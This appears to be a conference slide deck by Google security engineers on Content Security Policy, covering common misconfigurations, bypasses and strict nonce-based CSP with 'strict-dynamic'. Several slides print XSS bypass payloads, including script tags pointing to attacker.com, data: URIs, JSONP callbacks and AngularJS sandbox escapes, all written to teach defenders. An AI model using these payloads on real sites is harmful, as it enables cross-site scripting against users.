We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs.

Michele Spagnuolo
Information Security Engineer

Lukas Weichselbaum
Information Security Engineer
<table>
<thead>
<tr>
<th>CONTENT</th>
<th>What we’ll be talking about</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>WHAT IS CSP</td>
</tr>
<tr>
<td>02</td>
<td>WHAT’S IN A POLICY?</td>
</tr>
<tr>
<td>03</td>
<td>COMMON MISTAKES</td>
</tr>
<tr>
<td>04</td>
<td>BYPASSING CSP</td>
</tr>
<tr>
<td>05</td>
<td>A NEW WAY OF DOING CSP</td>
</tr>
<tr>
<td>06</td>
<td>THE FUTURE OF CSP</td>
</tr>
<tr>
<td>07</td>
<td>SUCCESS STORIES</td>
</tr>
<tr>
<td>08</td>
<td>Q &amp; A</td>
</tr>
</tbody>
</table>
SO WHAT IS CSP?

A tool developers can use to lock down their web applications in various ways.

CSP is a defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
GOALS OF CSP

It’s pretty ambitious...

- **MITIGATE** risk
- **REDUCE PRIVILEGE** of the application
- **DETECT EXPLOITATION** by monitoring violations

Granular control over **resources** that can be requested, embedded and executed, execution of **inline scripts**, **dynamic code execution** (eval) and application of **inline style**.

**Sandbox** not just iframes, but any resource, framed or not. The content is forced into a **unique origin**, preventing it from running scripts or plugins, submitting forms, etc...

Find out when your application gets **exploited**, or behaves differently from how you think it should behave. By collecting violation reports, an administrator can be alerted and easily spot the bug.

CSP 2 specification: [https://www.w3.org/TR/CSP/](https://www.w3.org/TR/CSP/)

CSP 3 draft: [https://w3c.github.io/webappsec-csp/](https://w3c.github.io/webappsec-csp/)
WHAT’S IN A POLICY?

It’s a HTTP header.
Actually, two.

- **Content-Security-Policy:** enforcing mode
- **Content-Security-Policy-Report-Only:** report-only mode

We’ll focus on **script-src**.
HOW DOES IT WORK?
A policy in detail

money.example.com

<img src="cat.png">

$\text{CSP allows}$ money.example.com

<script src="//yep.com/x.js">

$\text{CSP allows}$ yep.com

Content-Security-Policy

default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;
HOW DOES IT WORK?

Script injections (XSS) get blocked

money.example.com

<img src="cat.png">

<script src="/yep.com/x.js">

""><script src="/attacker.com">

""><script>alert(42) </script>

CSP blocks

inline script not allowed

CSP blocks

source not whitelisted

CSP allows

money.example.com

yep.com

attacker.com

Content-Security-Policy

default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;
BUT... IT'S HARD TO DEPLOY

Two examples from Twitter and GMail

Policies get less secure the longer they are.

These are not strict... they allow 'unsafe-inline' (and 'unsafe-eval').

Even if they removed 'unsafe-inline' (or added a nonce), any JSONP endpoint on whitelisted domains/paths can be the nail in their coffin.

In practice, in a lot of real-world complex applications CSP is just used for monitoring purposes, not as a defense-in-depth against XSS.
Breaking Bad

Br 35
79.904

B 5
10.811

C 6
12.0107

S 16
32.065

P 15
30.973762
COMMON MISTAKES [1/4]

Trivial mistakes

'unsafe-inline' in script-src (and no nonce)

```javascript
script-src 'self' 'unsafe-inline';
object-src 'none';
```

Same for `default-src`, if there's no `script-src` directive.

Bypass

```
"'>\<script>alert(1337)\</script>"
```
COMMON MISTAKES [2/4]

Trivial mistakes

URL schemes or wildcard in script-src (and no 'strict-dynamic')

```plaintext
script-src 'self' https: data: *;
object-src 'none';
```

Bypasses

```html
"">"<script src="https://attacker.com/evil.js"></script>
"">"<script src="data:text/javascript,alert(1337)"></script>
```

Same for URL schemes and wildcards in `object-src`. 
COMMON MISTAKES [3/4]

Less trivial mistakes

Missing object-src or default-src directive

```html
<script-src 'self';
```

Bypass

```html
"">\n
<param name="AllowScriptAccess" value="always"></object>
```

It looks secure, right?
COMMON MISTAKES [4/4]

Less trivial mistakes

Allow 'self' + hosting user-provided content on the same origin

```javascript
script-src 'self';
object-src 'none';
```

Bypass

```html
"'><script src="/user_upload/evil_cat.jpg.js"></script>
```

Same for `object-src`. 
BYPASSING CSP [1/5]
Whitelist bypasses

JSONP-like endpoint in whitelist

```html
<script src='self' crossorigin='anonymous' src="https://whitelisted.com/jsonp?callback=alert">
```

Bypass

```html
"'><script src="https://whitelisted.com/jsonp?callback=alert">
```
BYPASSING CSP [2/5]

JSONP is a problem

1) You whitelist an origin/path hosting a JSONP endpoint.
2) Javascript execution is allowed, extent is depending on how liberal the JSONP endpoint is and what a user can control (just the callback function or also parameters).

Don't whitelist JSONP endpoints. Sadly, there are a lot of those out there. ...especially on CDNs!
BYPASSING CSP [3/5]

Whitelist bypasses

AngularJS library in whitelist

```html
<script-src 'self' https://whitelisted.com; object-src 'none';

Bypass

"<script src="https://whitelisted.com/angular.min.js"></script>
<div ng-app ng-csp>{{1336 + 1}}</div>

"<script src="https://whitelisted.com/angularjs/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

Also works without user interaction, e.g. by combining with JSONP endpoints or other JS libraries.
**AngularJS is a problem**

1) You whitelist an origin/path hosting a version of AngularJS with known sandbox bypasses. Or you combine it with outdated Prototype.js. Or JSONP endpoints.

2) The attacker can exploit those to achieve full XSS.

For more bypasses in popular CDNs, see [Cure53’s mini-challenge](http://cure53.de).
BYPASSING CSP [5/5]

Path relaxation

Path relaxation due to open redirect in whitelist

```javascript
object-src 'none';
```
CSP EVALUATOR

Google CSP Evaluator [EXPERIMENTAL]

Paste CSP

```
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: 'nonce-rAnd0m' https://www.google.com http://www.google-analytics.com/gtm/js
https://*/.gstatic.com/feedback/ https://ajax.googleapis.com;
default-src 'self' * 127.0.0.1 https://[2a00:79e0:1b:2:b468:5fd9:dc72:f00e]/foobar https://someDomainNotGoogle.com;
ing-src 'self' https: data:;
report-uri https://csp.withgoogle.com/csp/test/1;
foobar-src 'foobar'
```

CSP Version 3

Check CSP

Example

Evaluated CSP as seen by a browser supporting CSP Version 3

- **script-src**
- **default-src**
- **img-src**
- **report-uri**
- **foobar-src**
- **object-src [missing]**

- report-uri is deprecated in CSP3. Please use the report-to directive instead.
- Directive "foobar-src" is not a known CSP directive.
- Can you restrict object-src to 'none'?
CSP Findings

script-src 'unsafe-inline' 'unsafe-eval' 'self' data: 'nonce-rAnd0m' https://www.google.com http://www.google-analytics.com/gtm/js
https://*.gstatic.com/feedback/ https://ajax.googleapis.com;
default-src 'self' * 127.0.0.1 https://[f2a00:79e0:1:b:2:b468:9fd9:dc72:f00e]/foobar https://someDomainNotGoogle.com;
img-src 'self' 'data';
report-uri https://csp.withgoogle.com/csp/test/1;
foobar-src 'foobar'

CSP Version 3

Check CSP  Example

Evaluated CSP as seen by a browser supporting CSP Version 3

1. script-src
   - 'unsafe-inline'
     unsafe-inline is ignored if a nonce or a hash is present. (CSP2 and above)
   - 'unsafe-eval'
     script-src directive contains 'unsafe-eval'
   - 'self'
   - data:
     script-src directive allows URL scheme data as source.
   - 'nonce-rAnd0m'
     https://www.google.com
     www.google.com is known to host JSONP endpoints which allow to bypass this CSP.
     Consider switching to a nonce-based CSP with unsafe-dynamic instead.
   - http://www.google-analytics.com/gtm/js
     www.google-analytics.com is known to host JSONP endpoints which allow to bypass this CSP.
     Consider switching to a nonce-based CSP with unsafe-dynamic instead.
   - https://*.gstatic.com/feedback/
     Consider switching to a nonce-based CSP with unsafe-dynamic instead of whitelisting hosts.
   - https://ajax.googleapis.com
     ajax.googleapis.com is known to host JSONP endpoints and Angular libraries which allow to bypass this CSP.
     Consider switching to a nonce-based CSP with unsafe-dynamic instead.
A NEW WAY OF DOING CSP

Strict nonce-based CSP

**Strict nonce-based policy**

```html
script-src 'nonce-r4nd0m';
object-src 'none';
```

- All `<script>` tags with the correct `nonce` attribute will get executed
- `<script>` tags injected via XSS will be blocked, because of missing `nonce`
- **No** host/path whitelists!
  - No bypasses because of JSONP-like endpoints on external domains (administrators no longer carry the burden of external things they can't control)
  - No need to go through the painful process of crafting and maintaining a whitelist

**Problem**

**Dynamically created scripts**

```html
<script nonce="r4nd0m">
    var s = document.createElement("script");
    s.src = "//example.com/bar.js";
    document.body.appendChild(s);
</script>
```

- **bar.js** will **not** be executed
- Common pattern in libraries
- Hard to refactor libraries to pass nonces to second (and more)-level scripts
HOW DO CSP NONCES WORK?
A policy in detail

Content-Security-Policy:

default-src 'self';
script-src 'self' 'nonce-r4nd0m';
report-uri /csp_violation_logger;

money.example.com

CSP allows

money.example.com

CSP allows

yep.com

<html>
  <head>
    <meta charset="UTF-8">
    <title>Content Security Policy</title>
  </head>
  <body>
    <img src="cat.png">
    <script nonce="r4nd0m" src="/yep.com/x.js"></script>
  </body>
</html>
HOW DO CSP NONCES WORK?

Script injections (XSS) get blocked

Content-Security-Policy

default-src 'self';
script-src 'self' 'nonce-r4nd0m';
report-uri /csp_violation_logger;

money.example.com

CSP allows

money.example.com

CSP allows

yep.com

CSP blocks

attacker.com

CSP blocks

source neither nonced nor whitelisted

script without correct nonce

money.example.com/csp_violations_logger
From the **CSP3 specification**

The 'strict-dynamic' source expression aims to make Content Security Policy simpler to deploy for existing applications which have a high degree of confidence in the scripts they load directly, but low confidence in the possibility to provide a secure whitelist.

If present in a script-src or default-src directive, together with a nonce and/or hashes, it has two main effects:

1) **Discard whitelists** (and 'unsafe-inline', if nonces are present in the policy)

2) **Scripts created by non-parser-inserted** (dynamically generated) script elements are allowed.
A NEW WAY OF DOING CSP

Introducing strict nonce-based CSP with 'strict-dynamic'

Strict nonce-based CSP with 'strict-dynamic' and fallbacks for older browsers

```
script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https; 
object-src 'none';
```

Behavior in a CSP3 compatible browser

- **nonce-r4nd0m** - Allows all scripts to execute if the correct nonce is set.
- **strict-dynamic** - [NEW!] Propagates trust and discards whitelists.
- **unsafe-inline** - Discarded in presence of a nonce in newer browsers. Here to make script-src a no-op for old browsers.
- **https** - Allow HTTPS scripts. Discarded if browser supports 'strict-dynamic'.

DEMO
A NEW WAY OF DOING CSP
Strict nonce-based CSP with 'strict-dynamic' and older browsers

<table>
<thead>
<tr>
<th>Compatibility</th>
<th>Script Sources</th>
<th>Object Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSP3 compatible browser</td>
<td><code>script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;</code></td>
<td><code>object-src 'none';</code></td>
</tr>
<tr>
<td>CSP2 compatible browser</td>
<td><code>script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;</code></td>
<td><code>object-src 'none';</code></td>
</tr>
<tr>
<td>CSP1 compatible browser</td>
<td><code>script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;</code></td>
<td><code>object-src 'none';</code></td>
</tr>
</tbody>
</table>

- **Dropped by CSP2 and above in presence of a nonce**
- **Dropped by CSP3 in presence of 'strict-dynamic'**
LIMITATIONS OF 'strict-dynamic'

Bypassable if:

```html
<script nonce="r4nd0m">
    var s = document.createElement("script");
    s.src = userInput + "/x.js";
</script>
```

Compared to whitelist based CSPs, strict CSPs with 'strict-dynamic' still significantly reduces the attack surface.

Furthermore, the new attack surface - dynamic script-loading DOM APIs - is significantly easier to control and review.
STRICT CSP - REDUCTION OF THE ATTACK SURFACE

Essentially we are going from being able to bypass >90% of Content Security Policies (because of mistakes and whitelisted origins you can’t control) to secure-by-default, easy to adopt, with a very low chance of still being bypassable (based on our extensive XSS root cause analysis at Google).
BROWSER SUPPORT
A fragmented environment

Chromium / Chrome is the browser with the best support of CSP, even if it does not always follow the spec (with reasons).

Firefox did not support child-src and delivery of CSP via <meta> tag until March 2016 (version 45), still does not implement plugin-types and struggles with SharedWorkers.

Webkit-based browsers (Safari, ...) very recently got nonce support.

Microsoft Edge still fails several tests. Internet Explorer just supports the "sandbox" attribute.

THE GOOD, THE OK, THE UGLY

Nonce support

'strict-dynamic' support

:)  :(

THE GOOD, THE OK, THE UGLY

Chromium / Chrome is the browser with the best support of CSP, even if it does not always follow the spec (with reasons).

Firefox did not support child-src and delivery of CSP via <meta> tag until March 2016 (version 45), still does not implement plugin-types and struggles with SharedWorkers.

Webkit-based browsers (Safari, ...) very recently got nonce support.

Microsoft Edge still fails several tests. Internet Explorer just supports the "sandbox" attribute.

THE GOOD, THE OK, THE UGLY

Chromium / Chrome is the browser with the best support of CSP, even if it does not always follow the spec (with reasons).

Firefox did not support child-src and delivery of CSP via <meta> tag until March 2016 (version 45), still does not implement plugin-types and struggles with SharedWorkers.

Webkit-based browsers (Safari, ...) very recently got nonce support.

Microsoft Edge still fails several tests. Internet Explorer just supports the "sandbox" attribute.
SUCCESS STORIES

'strict-dynamic' makes CSP easier to deploy and more secure

Already deployed on several Google services, totaling 7M+ monthly active users.

Works out of the box for:

- Google Maps APIs
- Google Charts APIs
- Facebook widget
- Twitter widget
- ReCAPTCHA
- …

Test it yourself with Chrome 52+: https://csp-experiments.appspot.com
Q & A
We would love to get your feedback!

QUESTIONS?

@mikispag @we1x

#strictdynamic

{lwe,mikispag,aaj}@google.com